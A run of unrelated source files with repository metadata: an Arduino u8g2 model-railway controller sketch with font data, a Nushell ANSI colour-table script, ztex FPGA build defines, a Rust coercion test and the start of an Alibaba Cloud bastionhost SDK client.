"\361\0e\325(\17\20N\214\303JJ\264D\311\244>I\245\70\251\225\64\10\226\60H\226,\250\206("
"\350\206$(\207\42g\207\36\247\207\32\347\207\26'x\26fx\22\207x\20\246x\16\346x\14%i"
"\12&y\10ei\10ey\6\244i\6\244i\10\342i\250V\325P\255jU\65T{\325\372\243Z"
"\324R\255\250\26\265P-j\241\32j\241ZS\63=Skz\244gj\246Gz\213\342\240\351\251\234"
"\253\271\230M\351\220\17\20\224\216\311\234)jF\0G\240\367<\341\350\271\364\0?\0z=\300\17\300"
"Z\17\360\3\70\325\3\31\340B\25\37j\37\67r\237\267\5\67\276\322*\301\262*C\301*\361JN"
"\67\37s\42'\363\61'r\62'r\62\37\364\61'\363A\37s\62\37sj>\350\363\377\377\377\377"
"\177\365A\237G'\364\211N\346\204>\350\204>\350dN\350dN\350\324\234\320if\301 d\302 "
"\341\342 \337\2!\134#!\332R)Vs\61S\243\61\316\323A\310\4R\301\65z\0\363z\200A"
"z\200?\0:=\300\37\240\264\36\340\7 \23\0H[:d\343\352\71 p\343\66l\364\2C\206"
"dgv\67\63\64\213Vj\365l\64[\251\325l\245V\331\210\255\330([\261\21[\261\21[e#"
"\67b+\66r#\266z\65\253vjV\355\320\320L\311\26\314\265\36\340\230\36@\215\36\0\225\36\300"
"\240\36 \264\36 \270\236\213\311\20I_+\374;\351\31\340:\17 \64\17PF\212\204J\250tN"
"\346T;\21\24\35j\240(\324@\21\324@\21\324@\21\324@\21\324\204\42\250\11EN\4\65\377\377"
"\377\377\377\377w\242N\343D\235\306\211\234\306\211\62\221\23\61\221\23\61Q\246b\242\257T\221\254\221\21"
"\241\20\372\250\316\2%Q\11\1J\227{\61\344\354\71\364\0?\200\320=\300\17\200h\17\360\3\260\230"
"\322\241\26\12\236\24*\36\323A\236\321a\236\317\201\232\216\241\226\215\261\226L\311\226K\331\22K\351\22"
"J\371\22I\11\23H\31\23G)\223\6\61\23\6A\23\5Q\217DQ\23\4a\23\3i\23\3q"
"\23\2y\23\302\210\217\1\211\23\301\220\223\0\231\217\300\240\37:\11\4\373\300\317\377\377\377\377\357N\335"
"\7~\272\223\373\300\217;\271\17\374\270\17\374\270\223\373\270\23;\271\217;\261\223\373\270\23;\355>\32"
"\0Ki\61r\362\352\331\42\134\244UXV\253~-\342\42\255\252E\134\244UZ\304EZ\304E\134"
"\303E\134\303E\134\303E\134\303E\134\303EZ\304\65\134\244E\134\223\213\270\346\377\377\271\204k\326\32"
"\256\251\65\134Sk\270Fk\270Fk\264Hkj\221\326\324\42,z\253JUT&eR\347\204L"
"\211\264<\17\20@n\244N\0L\240Y.%\354\271\264\220\17p\200\17\340r\212\321f\310\242^\247"
"\203XFtP\346dJeUD\305e>%V:\204V\66\304V\62\4W.dG*\244G&"
"\344G\42$H cH\34\204H\30\244X\24\344H\24#I\20$I\16dI\14dY\10\244I"
"\10\304\71\10\343I\6\42:\254\244J\254\223\225T\211uf%Ub\235\377\253\16\353\254J\252\303:"
"U\207uTIuXGuTIuT\11\225TG\225Pi\324\62\255\223\32i\221\232\250\201\242'"
"j*\246r\242h\251\6\23\0\0\0\0";
*/
/*
Fontname: track
Copyright: unknown
Glyphs: 12/12
BBX Build Mode: 0
*/
const uint8_t track_font[1650] U8G2_FONT_SECTION("track_font") =
"\14\0\7\4\7\7\10\6\11\232|\2\2~\0~\0\0\0\0\0\6UA\273z\276\240\350\271\365\0"
"\77\200\260=\300\17\200d\17\360\3\260\327\3\374\265\36\340\17 V\17\360\7 \251\7\70\36\304{\200"
"\220nk\326^n\355\255t\250\225z\207\225\200\204\225\204\203\205\342G~\315\315\374\310\257\271\231\237\271"
"\231\237\271E\67sC\267\346\206n\350\205n\321K\275\320\355\377\377\377\377W\257\325\15\335V\257\352\206"
"n\325K\335\320M\335\320\255\272\241\233\272\241\37\272\241\337\346\210<\30H\134\30'|\30\307\233\32h"
"\233\36(\233\42\310\232(I\252,\213\311\62\13\311\70\357\367>\17\320B\17\360@\17\360O\364\0\177"
"\200Vz\200\77\200B=\300\37\340\264\36\340\7X\17\0Bc<%\243\352Y\60p\4Wlv\66"
"DS\62M\226fy\63D\303\277\332}\65T\273\331N\355\330N\355\330N\355\330N\355\330N\15\253"
"\35\333\251\241\332\261\235\32VK\264\34M\315\226\214\305Z\314\275\36@\260\36\300\201\36\340\201\36\240\211"
"\36`\221\36 \231\36\340\244\36\0\235\36\300\254\36@\270\234L\1Cu\256\275\373\350\31\320B\17\20"
"<\17@\66\17p\60\17\200.\17\240BO\324H\253\244L\351\204\357tP\27\312\244\14\312\244\14\352"
"\240L\312\240L\252\244\14\312\244\14\312J\31\224\275T]\312\240\354\377\377\377\377\177'\203\262N\6e"
"\235\316\311\240\314\311\240\314\311\240\314\311\234\316\311\234\216\351\62\241\22\36)\33)\321\2\61P\353<\316"
"\3\210\216\3\61Q*\31\21\0D\236~\362\243\354\271\364\0\37\240\375\36\340\7\70\267\7\370\1\332\354"
"\1\376\0\342\365\0\177\200\302z\270\206j\77Fj\303%ZH\365a\313\324Y\316\264QR\224IU"
"tIWTIY\64A\335\23A\336\23\71\340\363\70\342\323\70\344\263@e\263\70\346\223\70h\203\70"
"js\70jc\70lS\60mC\70\355\63\60o\63\60o#\60\360\23\60q\23(r\63\20\363\203"
"\267\377\377\377\377\341K\276\340\355\341\13\336\302\27\274\205/x\353n\360\346n\360\346~\354\347n\356\307"
"~w\77w\223'\16\0E|\63s\262\352\331\42b\304eZg\225o\205X\370X\247uX\210u"
"Z\247eZW\313\264N\313\264N\313\270L\313\270L\313\264N\313j\235\226\345*.\323\262\134\225\313"
"\264\354\377Z\305U\327\62\255\342\252Z\246U\134\245U\134\245eZ\245eZ\245eZ\245eX\246e"
"X\26\353\254\356VH\205RH\205R\351\264L\313\304H\16\364\0B\363\0\247\363\0\345\363\0B\364"
"H\13\5\0F\254\332.%\354y\344\216\17\220~\17\360\0\1\367\0\17`h\17\360\0\353\365\0!"
"\361\0e\325(\17\20N\214\303JJ\264D\311\244>I\245\70\251\225\64\10\226\60H\226,\250\206("
"\350\206$(\207\42g\207\36\247\207\32\347\207\26'x\26fx\22\207x\20\246x\16\346x\14%i"
"\12&y\10ei\10ey\6\244i\6\244i\10\342i\250V\325P\255jU\65T{\325\372\243Z"
"\324R\255\250\26\265P-j\241\32j\241ZS\63=Skz\244gj\246Gz\213\342\240\351\251\234"
"\253\271\230M\351\220\17\20\224\216\311\234)jF\0G\240\367<\341\350\271\364\0\77\0z=\300\17\300"
"Z\17\360\3\70\325\3\31\340B\25\37j\37\67r\237\267\5\67\276\322*\301\262*C\301*\361JN"
"\67\37s\42'\363\61'r\62'r\62\37\364\61'\363A\37s\62\37sj>\350\363\377\377\377\377"
"\177\365A\237G'\364\211N\346\204>\350\204>\350dN\350dN\350\324\234\320if\301 d\302 "
"\341\342 \337\2!\134#!\332R)Vs\61S\243\61\316\323A\310\4R\301\65z\0\363z\200A"
"z\200\77\0:=\300\37\240\264\36\340\7 \23\0H[:d\343\352\71 p\343\66l\364\2C\206"
"dgv\67\63\64\213Vj\365l\64[\251\325l\245V\331\210\255\330([\261\21[\261\21[e#"
"\67b+\66r#\266z\65\253vjV\355\320\320L\311\26\314\265\36\340\230\36@\215\36\0\225\36\300"
"\240\36 \264\36 \270\236\213\311\20I_+\374;\351\31\340:\17 \64\17PF\212\204J\250tN"
"\346T;\21\24\35j\240(\324@\21\324@\21\324@\21\324@\21\324\204\42\250\11EN\4\65\377\377"
"\377\377\377\377w\242N\343D\235\306\211\234\306\211\62\221\23\61\221\23\61Q\246b\242\257T\221\254\221\21"
"\241\20\372\250\316\2%Q\11\1J\227{\61\344\354\71\364\0\77\200\320=\300\17\200h\17\360\3\260\230"
"\322\241\26\12\236\24*\36\323A\236\321a\236\317\201\232\216\241\226\215\261\226L\311\226K\331\22K\351\22"
"J\371\22I\11\23H\31\23G)\223\6\61\23\6A\23\5Q\217DQ\23\4a\23\3i\23\3q"
"\23\2y\23\302\210\217\1\211\23\301\220\223\0\231\217\300\240\37:\11\4\373\300\317\377\377\377\377\357N\335"
"\7~\272\223\373\300\217;\271\17\374\270\17\374\270\223\373\270\23;\271\217;\261\223\373\270\23;\355>\32"
"\0Ki\61r\362\352\331\42\134\244UXV\253~-\342\42\255\252E\134\244UZ\304EZ\304E\134"
"\303E\134\303E\134\303E\134\303E\134\303EZ\304\65\134\244E\134\223\213\270\346\377\377\271\204k\326\32"
"\256\251\65\134Sk\270Fk\270Fk\264Hkj\221\326\324\42,z\253JUT&eR\347\204L"
"\211\264<\17\20@n\244N\0L\240Y.%\354\271\264\220\17p\200\17\340r\212\321f\310\242^\247"
"\203XFtP\346dJeUD\305e>%V:\204V\66\304V\62\4W.dG*\244G&"
"\344G\42$H cH\34\204H\30\244X\24\344H\24#I\20$I\16dI\14dY\10\244I"
"\10\304\71\10\343I\6\42:\254\244J\254\223\225T\211uf%Ub\235\377\253\16\353\254J\252\303:"
"U\207uTIuXGuTIuT\11\225TG\225Pi\324\62\255\223\32i\221\232\250\201\242'"
"j*\246r\242h\251\6\23\0\0\0\0\4\377\377\0";
/*================================================================================*/
U8G2_ST75256_JLX256128_F_4W_HW_SPI u8g2(U8G2_R0, /* cs=*/ 7, /* dc=*/ 6, /* reset=*/ 5); // MKR Zero, Enable U8g2 16 bit mode for this display
/*================================================================================*/
uint8_t test_i2c_address(uint8_t adr)
{
Wire.beginTransmission(adr);
return Wire.endTransmission(false);
}
void system_test(void)
{
u8x8_SetFont(u8g2.getU8x8(), u8x8_font_amstrad_cpc_extended_r);
u8x8_Draw1x2String(u8g2.getU8x8(), 0, 0, "Oli's Spur N Controller (2018)");
u8x8_DrawString(u8g2.getU8x8(), 0, 3, "Teste I2C Weichen...");
if ( test_i2c_address(17) == 0 )
u8x8_DrawString(u8g2.getU8x8(), 26, 3, "Ok");
else
u8x8_DrawString(u8g2.getU8x8(), 26, 3, "Fehler");
u8x8_DrawString(u8g2.getU8x8(), 0, 4, "Teste I2C Motortreiber...");
if ( test_i2c_address(40) == 0 )
u8x8_DrawString(u8g2.getU8x8(), 26, 4, "Ok");
else
u8x8_DrawString(u8g2.getU8x8(), 26, 4, "Fehler");
/* wait for keypress */
while( u8g2.getMenuEvent() == 0 )
;
}
void setup(void) {
// MKR Zero Test Board
u8g2.begin(/*Select=*/ 0, /*Right/Next=*/ 1, /*Left/Prev=*/ 2, /*Up=*/ 4, /*Down=*/ 3, /*Home/Cancel=*/ A6);
u8g2.setFontMode(1);
Wire.begin();
system_test();
}
/*================================================================================*/
#define LOG_BUF_LINES 7
#define LOG_BUF_LINE_LEN 32
#define LOG_FONT u8g2_font_lucasfont_alternate_tr
#define LOG_FONT_LH 9
char log_buf[LOG_BUF_LINES][LOG_BUF_LINE_LEN];
uint8_t log_end = 0;
//u8g2_font_u8glib_4_tr
void draw_log(void)
{
uint8_t i;
u8g2.setFont(LOG_FONT);
for( i = 0; i < LOG_BUF_LINES; i++ )
{
u8g2.drawStr(160, 64+i*LOG_FONT_LH, log_buf[i]);
}
}
void scroll_log(void)
{
uint8_t i;
for( i = 1; i < LOG_BUF_LINES; i++ )
{
strcpy(log_buf[i-1], log_buf[i]);
}
log_buf[LOG_BUF_LINES-1][0] = '\0';
}
void log_line(const char *fmt, ...)
{
va_list va;
va_start(va, fmt);
vsnprintf(log_buf[log_end], LOG_BUF_LINE_LEN, fmt, va);
log_buf[log_end][LOG_BUF_LINE_LEN-1] = '\0';
va_end(va);
if ( log_end < LOG_BUF_LINES-1 )
{
log_end++;
}
else
{
scroll_log();
}
}
/*================================================================================*/
struct menu_entry_type
{
const uint8_t *font;
uint16_t icon;
const char *name;
};
struct menu_state
{
int16_t menu_start; /* in pixel */
int16_t frame_position; /* in pixel */
uint8_t position; /* position, array index */
};
/*
Icon configuration
Width and height must match the icon font size
GAP: Space between the icons
BGAP: Gap between the display border and the cursor.
*/
#define ICON_WIDTH 64
#define ICON_HEIGHT 64
#define ICON_GAP 8
#define ICON_BGAP 16
#define ICON_Y 64+ ICON_GAP
struct menu_entry_type menu_entry_list[] =
{
{ u8g2_font_open_iconic_other_8x_t, 66, "Weichen-Test"},
{ u8g2_font_open_iconic_embedded_8x_t, 67, "Motor Test"},
{ u8g2_font_open_iconic_embedded_8x_t, 66, "Gear Game"},
{ u8g2_font_open_iconic_embedded_8x_t, 68, "Home"},
{ u8g2_font_open_iconic_embedded_8x_t, 72, "Configuration"},
{ NULL, 0, NULL }
};
int8_t button_event = 0; // set this to 0, once the event has been processed
void check_button_event(void)
{
if ( button_event == 0 )
button_event = u8g2.getMenuEvent();
}
void main_menu_draw(struct menu_state *state)
{
int16_t x;
uint8_t i;
x = state->menu_start;
i = 0;
while( menu_entry_list[i].icon > 0 )
{
if ( x >= -ICON_WIDTH && x < u8g2.getDisplayWidth() )
{
u8g2.setFont(menu_entry_list[i].font);
u8g2.drawGlyph(x, ICON_Y, menu_entry_list[i].icon );
}
i++;
x += ICON_WIDTH + ICON_GAP;
check_button_event();
}
//u8g2.drawFrame(state->frame_position-1, ICON_Y-ICON_HEIGHT-1, ICON_WIDTH+2, ICON_WIDTH+2);
u8g2.drawFrame(state->frame_position-2, ICON_Y-ICON_HEIGHT-2, ICON_WIDTH+4, ICON_WIDTH+4);
u8g2.drawFrame(state->frame_position-3, ICON_Y-ICON_HEIGHT-3, ICON_WIDTH+6, ICON_WIDTH+6);
u8g2.drawFrame(state->frame_position-4, ICON_Y-ICON_HEIGHT-4, ICON_WIDTH+8, ICON_WIDTH+8);
u8g2.drawFrame(state->frame_position-5, ICON_Y-ICON_HEIGHT-5, ICON_WIDTH+10, ICON_WIDTH+10);
u8g2.drawFrame(state->frame_position-6, ICON_Y-ICON_HEIGHT-6, ICON_WIDTH+12, ICON_WIDTH+12);
check_button_event();
}
void main_menu_to_right(struct menu_state *state)
{
if ( menu_entry_list[state->position+1].font != NULL )
{
if ( (int16_t)state->frame_position+ 2*(int16_t)ICON_WIDTH + (int16_t)ICON_BGAP < (int16_t)u8g2.getDisplayWidth() )
{
state->position++;
state->frame_position += ICON_WIDTH + (int16_t)ICON_GAP;
}
else
{
state->position++;
state->frame_position = (int16_t)u8g2.getDisplayWidth() - (int16_t)ICON_WIDTH - (int16_t)ICON_BGAP;
state->menu_start = state->frame_position - state->position*((int16_t)ICON_WIDTH + (int16_t)ICON_GAP);
}
}
}
void main_menu_to_left(struct menu_state *state)
{
if ( state->position > 0 )
{
if ( (int16_t)state->frame_position >= (int16_t)ICON_BGAP+(int16_t)ICON_WIDTH+ (int16_t)ICON_GAP )
{
state->position--;
state->frame_position -= ICON_WIDTH + (int16_t)ICON_GAP;
}
else
{
state->position--;
state->frame_position = ICON_BGAP;
state->menu_start = state->frame_position - state->position*((int16_t)ICON_WIDTH + (int16_t)ICON_GAP);
}
}
}
uint8_t towards_int16(int16_t *current, int16_t dest)
{
if ( *current < dest )
{
(*current)++;
return 1;
}
else if ( *current > dest )
{
(*current)--;
return 1;
}
return 0;
}
uint8_t towards(struct menu_state *current, struct menu_state *destination)
{
uint8_t r = 0;
uint8_t i;
for( i = 0; i < 10; i++ )
{
r |= towards_int16( &(current->frame_position), destination->frame_position);
r |= towards_int16( &(current->menu_start), destination->menu_start);
}
return r;
}
struct menu_state current_state = { ICON_BGAP, ICON_BGAP, 0 };
struct menu_state destination_state = { ICON_BGAP, ICON_BGAP, 0 };
uint16_t main_menu(void)
{
button_event = 0;
for(;;)
{
do
{
u8g2.firstPage();
do
{
main_menu_draw(¤t_state);
u8g2.setFont(MENU_FONT);
u8g2.setCursor((u8g2.getDisplayWidth()-u8g2.getStrWidth(menu_entry_list[destination_state.position].name))/2,u8g2.getDisplayHeight()-7);
u8g2.print(menu_entry_list[destination_state.position].name);
check_button_event();
delay(20);
} while( u8g2.nextPage() );
if ( button_event == U8X8_MSG_GPIO_MENU_NEXT )
main_menu_to_right(&destination_state);
if ( button_event == U8X8_MSG_GPIO_MENU_PREV )
main_menu_to_left(&destination_state);
if ( button_event == U8X8_MSG_GPIO_MENU_SELECT )
{
button_event = 0;
return destination_state.position;
}
if ( button_event > 0 ) // all known events are processed, clear event
button_event = 0;
} while ( towards(¤t_state, &destination_state) );
}
}
/*================================================================================*/
int8_t track_bold1_idx = -1;
int8_t track_bold2_idx = -1;
int8_t track_switch[4] = { 0, 0, 0, 0 };
int16_t track_switch_x[4][2] = { { 85, 85 }, { 9, 19 }, { 58, 58 }, { 105, 105 } };
int16_t track_switch_y[4][2] = { { 0, 16 }, { 55, 55 }, { 104, 114 }, { 114, 123 } };
/* sw=0..3, pos=0..1 */
void set_swtich(uint8_t sw, uint8_t pos)
{
uint8_t error;
sw &= 3;
pos &= 1;
Wire.beginTransmission(17); // switch controller
error = Wire.endTransmission(false);
if ( error == 0 )
{
Wire.beginTransmission(17); // switch controller
Wire.write(0);
Wire.write(sw*2+pos);
Wire.endTransmission();
log_line("I2C ok %d, sw=%d/%d", error, sw, pos);
}
else
{
log_line("I2C err %d, sw=%d/%d", error, sw, pos);
}
}
void show_tracks(void)
{
int i;
int16_t x, y;
u8g2.firstPage();
do
{
u8g2.setFont(track_font);
for( i = 0; i < 6; i++ )
{
if ( i == track_bold1_idx || i == track_bold2_idx )
{
u8g2.drawGlyph(0,128, 'A'+i);
}
else
{
u8g2.drawGlyph(0,128, 'A'+6+i);
}
}
check_button_event();
for( i = 0; i < 4; i++ )
{
x = track_switch_x[i][track_switch[i]];
y = track_switch_y[i][track_switch[i]];
u8g2.setDrawColor(0);
u8g2.drawBox(x, y, 6, 6);
u8g2.setDrawColor(1);
u8g2.drawBox(x+1, y+1, 4, 4);
}
/*
for( i = 0; i < 4; i++ )
{
x = track_switch_x[i][1];
y = track_switch_y[i][1];
u8g2.setDrawColor(0);
u8g2.drawBox(x, y, 6, 6);
u8g2.setDrawColor(1);
u8g2.drawBox(x+1, y+1, 4, 4);
}
*/
check_button_event();
draw_log();
} while( u8g2.nextPage() );
}
void track_switch_test(void)
{
track_bold1_idx = -1;
track_bold2_idx = -1;
button_event = 0;
for(;;)
{
show_tracks();
if ( button_event == U8X8_MSG_GPIO_MENU_NEXT )
{
track_switch[3] ^=1;
set_swtich(3, track_switch[3]);
}
if ( button_event == U8X8_MSG_GPIO_MENU_PREV )
{
track_switch[1] ^=1;
set_swtich(1, track_switch[1]);
}
if ( button_event == U8X8_MSG_GPIO_MENU_UP )
{
track_switch[0] ^=1;
set_swtich(0, track_switch[0]);
}
if ( button_event == U8X8_MSG_GPIO_MENU_DOWN )
{
track_switch[2] ^=1;
set_swtich(2, track_switch[2]);
}
if ( button_event == U8X8_MSG_GPIO_MENU_HOME )
return;
button_event = 0;
}
}
/*================================================================================*/
/* sw=0..3, pos=0..1 */
void set_motor_speed(uint8_t motor, uint8_t speed)
{
uint8_t error;
Wire.beginTransmission(40+motor); // motor controller
error = Wire.endTransmission(false);
if ( error == 0 )
{
Wire.beginTransmission(40+motor); // switch controller
Wire.write(0);
Wire.write(speed);
Wire.endTransmission();
log_line("I2C ok %d, m%d/%d", error, motor, speed);
}
else
{
log_line("I2C err %d, m%d/%d", error, motor, speed);
}
}
uint16_t motor_noise_raw;
uint16_t motor_noise_filt;
uint16_t motor_speed_raw; // lower is faster
uint16_t motor_speed_filt; // lower is faster
void read_motor_data(uint8_t motor)
{
uint8_t error;
Wire.beginTransmission(40+motor); // motor controller
error = Wire.endTransmission(false);
if ( error == 0 )
{
Wire.beginTransmission(40+motor); // motor controller
Wire.write(1); // reset to index 0
Wire.endTransmission();
Wire.requestFrom(40+motor, 9);
Wire.read(); // dummy read
motor_noise_raw = Wire.read();
motor_noise_raw |= (((uint16_t)Wire.read())<<8);
motor_noise_filt = Wire.read();
motor_noise_filt |= (((uint16_t)Wire.read())<<8);
motor_speed_raw = Wire.read();
motor_speed_raw |= (((uint16_t)Wire.read())<<8);
motor_speed_filt = Wire.read();
motor_speed_filt |= (((uint16_t)Wire.read())<<8);
}
}
void show_motor_set_speed(uint8_t motor, uint8_t speed)
{
u8g2_uint_t y;
u8g2_uint_t o = 18;
button_event = 0;
read_motor_data(motor);
u8g2.firstPage();
do
{
check_button_event();
u8g2.setFont(MENU_FONT);
u8g2.drawBox(5, 0, 2, 128);
u8g2.drawHLine(0, 127-speed/2, 12);
check_button_event();
y = (uint8_t)(((uint16_t)(128-o)*(uint16_t)(127-speed/2))>>7);
u8g2.setCursor(14, y+o);
u8g2.print(speed);
check_button_event();
u8g2.setCursor(60, 20);
u8g2.print("Motor: ");
u8g2.print(motor);
u8g2.setFont(SUBMENU_FONT);
u8g2.setCursor(60, 50);
u8g2.print("Noise: ");
u8g2.setCursor(120, 50);
u8g2.print(motor_noise_filt);
u8g2.setCursor(60, 70);
u8g2.print("Speed: ");
u8g2.setCursor(120, 70);
u8g2.print(motor_speed_filt);
draw_log();
} while( u8g2.nextPage() );
}
void motor_speed_test(void)
{
uint8_t speed[6] = { 128, 128, 128, 128, 128, 128 };
uint8_t step = 10;
uint8_t motor = 0;
for( motor = 0; motor < 6; motor++)
set_motor_speed(motor, speed[motor]);
motor = 0;
for(;;)
{
show_motor_set_speed(motor, speed[motor]);
if ( button_event == U8X8_MSG_GPIO_MENU_UP )
{
if ( speed[motor] < 128 && speed[motor]+step > 128 )
speed[motor] = 128;
else if ( speed[motor] < 255-step )
speed[motor] += step;
else
speed[motor] = 255;
set_motor_speed(motor, speed[motor]);
}
if ( button_event == U8X8_MSG_GPIO_MENU_DOWN )
{
if ( speed[motor] > 128 && speed[motor]-step < 128 )
speed[motor] = 128;
else if ( speed[motor] >= step )
speed[motor] -=step;
else
speed[motor] = 0;
set_motor_speed(motor, speed[motor]);
}
if ( button_event == U8X8_MSG_GPIO_MENU_SELECT )
{
motor++;
if ( motor >= 6 )
motor = 0;
set_motor_speed(motor, speed[motor]);
}
if ( button_event == U8X8_MSG_GPIO_MENU_HOME )
{
button_event = 0;
return;
}
button_event = 0;
}
}
/*================================================================================*/
void loop(void)
{
uint16_t pos;
pos = main_menu();
if ( pos == 0 )
track_switch_test();
else if ( pos == 1 )
motor_speed_test();
}
| Arduino | 4 | Linghhh/u8g2 | sys/arduino/u8g2_page_buffer/TrackControl/TrackControl.ino | [
"BSD-2-Clause"
] |
def make_header [hi] {
if $hi == $true {
let ansi100m = ('100m' | str lpad -l 11 -c ' ')
let ansi101m = ('101m' | str lpad -l 9 -c ' ')
let ansi102m = ('102m' | str lpad -l 9 -c ' ')
let ansi103m = ('103m' | str lpad -l 9 -c ' ')
let ansi104m = ('104m' | str lpad -l 9 -c ' ')
let ansi105m = ('105m' | str lpad -l 9 -c ' ')
let ansi106m = ('106m' | str lpad -l 9 -c ' ')
let ansi107m = ('107m' | str lpad -l 9 -c ' ')
$"(char newline)($ansi100m)($ansi101m)($ansi102m)($ansi103m)($ansi104m)($ansi105m)($ansi106m)($ansi107m)(char newline)"
} {
let ansi40m = ('40m' | str lpad -l 10 -c ' ')
let ansi41m = ('41m' | str lpad -l 8 -c ' ')
let ansi42m = ('42m' | str lpad -l 8 -c ' ')
let ansi43m = ('43m' | str lpad -l 8 -c ' ')
let ansi44m = ('44m' | str lpad -l 8 -c ' ')
let ansi45m = ('45m' | str lpad -l 8 -c ' ')
let ansi46m = ('46m' | str lpad -l 8 -c ' ')
let ansi47m = ('47m' | str lpad -l 8 -c ' ')
$"(char newline)($ansi40m)($ansi41m)($ansi42m)($ansi43m)($ansi44m)($ansi45m)($ansi46m)($ansi47m)(char newline)"
}
}
# mk_header and make_header do the same thing in different ways
# make_header is far easier to read and understand
# mk_header is more convoluted but less repetitive
def mk_header [color_range:range] {
let min_rng = (echo $color_range | math min)
let hi_start_pad = 11
let hi_regular_pad = 9
let lo_start_pad = 10
let lo_regular_pad = 8
echo $color_range | each { |color|
let ansi_color = $"($color)m"
if $color == $min_rng {
if $min_rng == 100 {
($ansi_color | str lpad -l $hi_start_pad -c ' ')
} {
($ansi_color | str lpad -l $lo_start_pad -c ' ')
}
} {
if $min_rng >= 100 {
($ansi_color | str lpad -l $hi_regular_pad -c ' ')
} {
($ansi_color | str lpad -l $lo_regular_pad -c ' ')
}
}
} | str collect
echo (char newline)
}
def color_row_range [num:int bg_rg:range] {
let reset = (ansi reset)
let row_header = $"($num)m ($reset)"
let row_data = (echo $bg_rg | each { |back|
let row_name = $"($num);($back)m"
let ansi_color = (ansi -e $row_name)
$"($ansi_color) ($row_name) ($reset)"
} | append (char newline) | str collect)
$"($row_header)($row_data)"
}
def create_color_tables [fg_range:range bg_range:range] {
echo $fg_range | each { |fg|
color_row_range $fg $bg_range
} | str collect
}
def color_table [] {
# make_header $false
mk_header 40..47
create_color_tables 30..37 40..47
# put a line between tables
char newline
#make_header $true
mk_header 100..107
create_color_tables 90..97 100..107
}
color_table | Nu | 5 | x3rAx/nu_scripts | coloring/color_table.nu | [
"MIT"
] |
/*
* This software is Copyright (c) 2016 Denis Burykin
* [denis_burykin yahoo com], [denis-burykin2014 yandex ru]
* and it is hereby released to the general public under the following terms:
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*
*/
// ************************************************************
//
// ISE Project: jtr_ztex
// ISE Version: 14.5
//
// Include as Global File in Compile List: main.vh log2.vh
// Set as Top Module: ztex_inouttraffic
//
// ************************************************************
// ************************************************************
//
// Using to build several projects in same workspace
//
// ************************************************************
//`define PROJECT_PKT_TEST
`define PROJECT_DESCRYPT
//`define PROJECT_
// Parameters for every project
`define RANGES_MAX 4
`define PKT_COMM_VERSION 2
// ****************************************************
//
// packet communication test (pkt_test.c)
// Takes input packets, generates plaintext candidates
// and outputs them (1 candidate with IDs per packet).
//
// ****************************************************
`ifdef PROJECT_PKT_TEST
// remove descrypt.ucf from project
// Main parameters
`define MAIN_MODULE_INST pkt_test
`define TEST_MODES_01
// Parameters for ztex_inouttraffic
`define BITSTREAM_TYPE 16'h0002
`define INPUT_FIFO_INST fifo_16in_8out_64k
`define OUTPUT_FIFO_CLK PKT_COMM_CLK
// actual size is 2 bytes less
`define OUTPUT_FIFO_SIZE 32768
// Parameters for pkt_comm
`define CHAR_BITS 7
`define PLAINTEXT_LEN 8
// RESULT_LEN must be even number
`define RESULT_LEN 8
// outpkt_v2: define used packet types
//`define OUTPKT_TYPE_CMP_EQUAL
//`define OUTPKT_TYPE_PACKET_DONE
`define OUTPKT_TYPE_RESULT1
// ****************************************************
//
// ****************************************************
`elsif PROJECT_DESCRYPT
// add files:
// descrypt/descrypt.ucf
//
// Main parameters
`define MAIN_MODULE_INST descrypt
`define TEST_MODES_01
// Parameters for ztex_inouttraffic
`define BITSTREAM_TYPE 16'h0101
`define INPUT_FIFO_INST fifo_16in_8out_64k
`define OUTPUT_FIFO_CLK CMP_CLK
// actual size is 2 bytes less
`define OUTPUT_FIFO_SIZE 2048
// Parameters for pkt_comm
`define CHAR_BITS 7
`define PLAINTEXT_LEN 8
// must define RESULT_LEN even if OUTPKT_TYPE_RESULT1 isn't used
`define RESULT_LEN 8
// outpkt_v2: define used packet types
`define OUTPKT_TYPE_CMP_EQUAL
`define OUTPKT_TYPE_PACKET_DONE
//`define OUTPKT_TYPE_RESULT1
// ****************************************************
//
// ****************************************************
`elsif PROJECT_
`endif
| SystemVerilog | 4 | zaza568/yo | src/ztex/fpga/main.vh | [
"OLDAP-2.4"
] |
// run-pass
fn bar(v: &mut [usize]) -> Vec<usize> {
v.to_vec()
}
fn bip(v: &[usize]) -> Vec<usize> {
v.to_vec()
}
pub fn main() {
let mut the_vec = vec![1, 2, 3, 100];
assert_eq!(the_vec.clone(), bar(&mut the_vec));
assert_eq!(the_vec.clone(), bip(&the_vec));
}
| Rust | 4 | Eric-Arellano/rust | src/test/ui/coercion/coerce-reborrow-imm-vec-rcvr.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
/**
*
*/
import Util;
import OpenApi;
import EndpointUtil;
extends OpenApi;
init(config: OpenApi.Config){
super(config);
@endpointRule = '';
checkConfig(config);
@endpoint = getEndpoint('yundun-bastionhost', @regionId, @endpointRule, @network, @suffix, @endpointMap, @endpoint);
}
function getEndpoint(productId: string, regionId: string, endpointRule: string, network: string, suffix: string, endpointMap: map[string]string, endpoint: string) throws: string{
if (!Util.empty(endpoint)) {
return endpoint;
}
if (!Util.isUnset(endpointMap) && !Util.empty(endpointMap[regionId])) {
return endpointMap[regionId];
}
return EndpointUtil.getEndpointRules(productId, regionId, endpointRule, network, suffix);
}
model AddHostsToGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostGroupId?: string(name='HostGroupId'),
hostIds?: string(name='HostIds'),
}
model AddHostsToGroupResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostGroupId?: string(name='HostGroupId'),
hostId?: string(name='HostId'),
}
](name='Results'),
}
model AddHostsToGroupResponse = {
headers: map[string]string(name='headers'),
body: AddHostsToGroupResponseBody(name='body'),
}
async function addHostsToGroupWithOptions(request: AddHostsToGroupRequest, runtime: Util.RuntimeOptions): AddHostsToGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('AddHostsToGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function addHostsToGroup(request: AddHostsToGroupRequest): AddHostsToGroupResponse {
var runtime = new Util.RuntimeOptions{};
return addHostsToGroupWithOptions(request, runtime);
}
model AddUsersToGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userGroupId?: string(name='UserGroupId'),
userIds?: string(name='UserIds'),
}
model AddUsersToGroupResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
